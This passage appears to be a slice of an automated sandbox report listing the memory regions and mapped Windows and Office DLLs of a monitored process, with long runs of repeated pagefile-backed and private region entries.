"pagefile_0x000000001ba10000" filename = "" Region: id = 7691 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7692 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7693 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7694 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7695 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7696 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7697 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7698 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7699 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7700 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7701 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7702 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7703 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7704 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7705 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7706 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7707 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7708 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7709 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7710 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7711 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7712 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7713 start_va = 0x7ffaa2ea0000 end_va = 0x7ffaa2eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2ea0000" filename = "" Region: id = 7714 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7715 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7716 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7717 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7718 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7719 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7720 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7721 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7722 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7723 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7724 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7725 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7726 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7727 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7728 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7729 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7730 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7731 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7732 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7733 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7734 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7735 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7737 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7738 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7739 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7740 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7741 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7742 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7743 start_va = 0x1bab0000 end_va = 0x1baeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bab0000" filename = "" Region: id = 7744 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7745 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7746 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7747 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7748 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7749 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7750 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7751 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7752 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7753 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7754 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7755 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7756 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7757 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7758 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7759 start_va = 0x1e200000 end_va = 0x1e2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e200000" filename = "" Region: id = 7760 start_va = 0x1e3f0000 end_va = 0x1e3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e3f0000" filename = "" Region: id = 7761 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7762 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7763 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7764 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7765 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7766 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7767 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7768 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7769 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7770 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7771 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7772 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7773 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7774 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7775 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7776 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7777 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7778 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7779 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7780 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7781 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7782 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7783 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7784 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7785 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7786 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7787 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7788 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7789 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7790 start_va = 0x1ba10000 end_va = 0x1ba38fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7791 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7792 start_va = 0x1ba20000 end_va = 0x1ba48fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7793 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7794 start_va = 0x1ba30000 end_va = 0x1ba58fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba30000" filename = "" Region: id = 7795 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba30000" filename = "" Region: id = 7796 start_va = 0x1ba40000 end_va = 0x1ba68fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba40000" filename = "" Region: id = 7797 start_va = 0x1ba40000 end_va = 0x1ba68fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba40000" filename = "" Region: id = 7798 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 7799 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 7800 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 7801 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 7802 start_va = 0x1bb00000 end_va = 0x1bb28fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb00000" filename = "" Region: id = 7803 start_va = 0x1bb00000 end_va = 0x1bb28fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb00000" filename = "" Region: id = 7804 start_va = 0x1bb00000 end_va = 0x1bb03fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb00000" filename = "" Region: id = 7805 start_va = 0x7ffb122a0000 end_va = 0x7ffb122abfff monitored = 0 entry_point = 0x7ffb122a35c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 7806 start_va = 0x1bb00000 end_va = 0x1bb0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb00000" filename = "" Region: id = 7807 start_va = 0x1bb10000 end_va = 0x1bb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb10000" filename = "" Region: id = 7808 start_va = 0x1bb20000 end_va = 0x1bb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb20000" filename = "" Region: id = 7809 start_va = 0x1bb30000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb30000" filename = "" Region: id = 7810 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7811 start_va = 0x1e1a0000 end_va = 0x1e1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1a0000" filename = "" Region: id = 7812 start_va = 0x1e1b0000 end_va = 0x1e1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1b0000" filename = "" Region: id = 7813 start_va = 0x7ffafcf60000 end_va = 0x7ffafcfb2fff monitored = 0 entry_point = 0x7ffafcf8ab30 region_type = mapped_file name = "msdtcuiu.dll" filename = "\\Windows\\System32\\msdtcuiu.dll" (normalized: "c:\\windows\\system32\\msdtcuiu.dll") Region: id = 7814 start_va = 0x1e1a0000 end_va = 0x1e1a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e1a0000" filename = "" Region: id = 7815 start_va = 0x7ffb12130000 end_va = 0x7ffb1214dfff monitored = 0 entry_point = 0x7ffb12133a40 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 7817 start_va = 0x7ffafcef0000 end_va = 0x7ffafcf59fff monitored = 0 entry_point = 0x7ffafcf1e410 region_type = mapped_file name = "mtxclu.dll" filename = "\\Windows\\System32\\mtxclu.dll" (normalized: "c:\\windows\\system32\\mtxclu.dll") Region: id = 7818 start_va = 0x7ffb128b0000 end_va = 0x7ffb12952fff monitored = 0 entry_point = 0x7ffb128b2c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 7819 start_va = 0x7ffb12960000 end_va = 0x7ffb129b1fff monitored = 0 entry_point = 0x7ffb12965770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 7820 start_va = 0x7ffb1c340000 end_va = 0x7ffb1c366fff monitored = 0 entry_point = 0x7ffb1c350aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 7821 start_va = 0x7ffb1c300000 end_va = 0x7ffb1c339fff monitored = 0 entry_point = 0x7ffb1c308d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 7822 start_va = 0x7ffafce10000 end_va = 0x7ffafceecfff monitored = 0 entry_point = 0x7ffafce8d590 region_type = mapped_file name = "msdtcprx.dll" filename = "\\Windows\\System32\\msdtcprx.dll" (normalized: "c:\\windows\\system32\\msdtcprx.dll") Region: id = 7823 start_va = 0x7ffb15da0000 end_va = 0x7ffb15daafff monitored = 0 entry_point = 0x7ffb15da24e0 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 7824 start_va = 0x7ffb18230000 end_va = 0x7ffb18245fff monitored = 0 entry_point = 0x7ffb18231b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 7825 start_va = 0x7ffb14b00000 end_va = 0x7ffb14b11fff monitored = 0 entry_point = 0x7ffb14b03580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 7826 start_va = 0x7ffb1bbe0000 end_va = 0x7ffb1bbebfff monitored = 0 entry_point = 0x7ffb1bbe27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 7827 start_va = 0x1b110000 end_va = 0x1b110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b110000" filename = "" Region: id = 7828 start_va = 0x7ffb13d10000 end_va = 0x7ffb13d1ffff monitored = 0 entry_point = 0x7ffb13d15b40 region_type = mapped_file name = "msscntrs.dll" filename = "\\Windows\\System32\\msscntrs.dll" (normalized: "c:\\windows\\system32\\msscntrs.dll") Region: id = 7829 start_va = 0x7ffafc7c0000 end_va = 0x7ffafce04fff monitored = 0 entry_point = 0x7ffafc7c36d0 region_type = mapped_file name = "olmapi32.dll" filename = "\\PROGRA~1\\MICROS~1\\Office16\\OLMAPI32.DLL" (normalized: "c:\\program files\\micros~1\\office16\\olmapi32.dll") Region: id = 7830 start_va = 0x1b120000 end_va = 0x1b121fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b120000" filename = "" Region: id = 7831 start_va = 0x7ffb0ff50000 end_va = 0x7ffb0ff68fff monitored = 0 entry_point = 0x7ffb0ff5ee50 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 7832 start_va = 0x7ffb0feb0000 end_va = 0x7ffb0ff40fff monitored = 0 entry_point = 0x7ffb0ff02430 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 7833 start_va = 0x7ffb1b970000 end_va = 0x7ffb1ba63fff monitored = 0 entry_point = 0x7ffb1b97a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 7834 start_va = 0x7ffb0fea0000 end_va = 0x7ffb0feabfff monitored = 0 entry_point = 0x7ffb0fea4150 region_type = mapped_file name = "vcruntime140_1.dll" filename = "\\Windows\\System32\\vcruntime140_1.dll" (normalized: "c:\\windows\\system32\\vcruntime140_1.dll") Region: id = 7835 start_va = 0x1e400000 end_va = 0x1e5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e400000" filename = "" Region: id = 7837 start_va = 0x7ffafc4b0000 end_va = 0x7ffafc7b3fff monitored = 0 entry_point = 0x7ffafc556094 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 7838 start_va = 0x1b160000 end_va = 0x1b161fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7839 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7841 start_va = 0x7ffb12290000 end_va = 0x7ffb1229ffff monitored = 0 entry_point = 0x7ffb12295870 region_type = mapped_file name = "perfdisk.dll" filename = "\\Windows\\System32\\perfdisk.dll" (normalized: "c:\\windows\\system32\\perfdisk.dll") Region: id = 7842 start_va = 0x7ffb18e20000 end_va = 0x7ffb18e30fff monitored = 0 entry_point = 0x7ffb18e23320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 7844 start_va = 0x1e400000 end_va = 0x1e4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e400000" filename = "" Region: id = 7845 start_va = 0x1e5e0000 end_va = 0x1e5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e5e0000" filename = "" Region: id = 7846 start_va = 0x7ffb0f760000 end_va = 0x7ffb0f76afff monitored = 0 entry_point = 0x7ffb0f762e30 region_type = mapped_file name = "perfnet.dll" filename = "\\Windows\\System32\\perfnet.dll" (normalized: "c:\\windows\\system32\\perfnet.dll") Region: id = 7847 start_va = 0x7ffb1c860000 end_va = 0x7ffb1c876fff monitored = 0 entry_point = 0x7ffb1c861390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 7848 start_va = 0x7ffb031d0000 end_va = 0x7ffb031e3fff monitored = 0 entry_point = 0x7ffb031d1310 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 7849 start_va = 0x7ffb15d80000 end_va = 0x7ffb15d8dfff monitored = 0 entry_point = 0x7ffb15d82b10 region_type = mapped_file name = "perfos.dll" filename = "\\Windows\\System32\\perfos.dll" (normalized: "c:\\windows\\system32\\perfos.dll") Region: id = 7850 start_va = 0x1e5f0000 end_va = 0x1e6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e5f0000" filename = "" Region: id = 7852 start_va = 0x7ffb0acd0000 end_va = 0x7ffb0acdefff monitored = 0 entry_point = 0x7ffb0acd59a0 region_type = mapped_file name = "perfproc.dll" filename = "\\Windows\\System32\\perfproc.dll" (normalized: "c:\\windows\\system32\\perfproc.dll") Region: id = 7861 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7862 start_va = 0x1ba10000 end_va = 0x1ba2dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7863 start_va = 0x1e6f0000 end_va = 0x1eeeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e6f0000" filename = "" Region: id = 7864 start_va = 0x1ba30000 end_va = 0x1ba60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba30000" filename = "" Region: id = 7865 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7866 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name 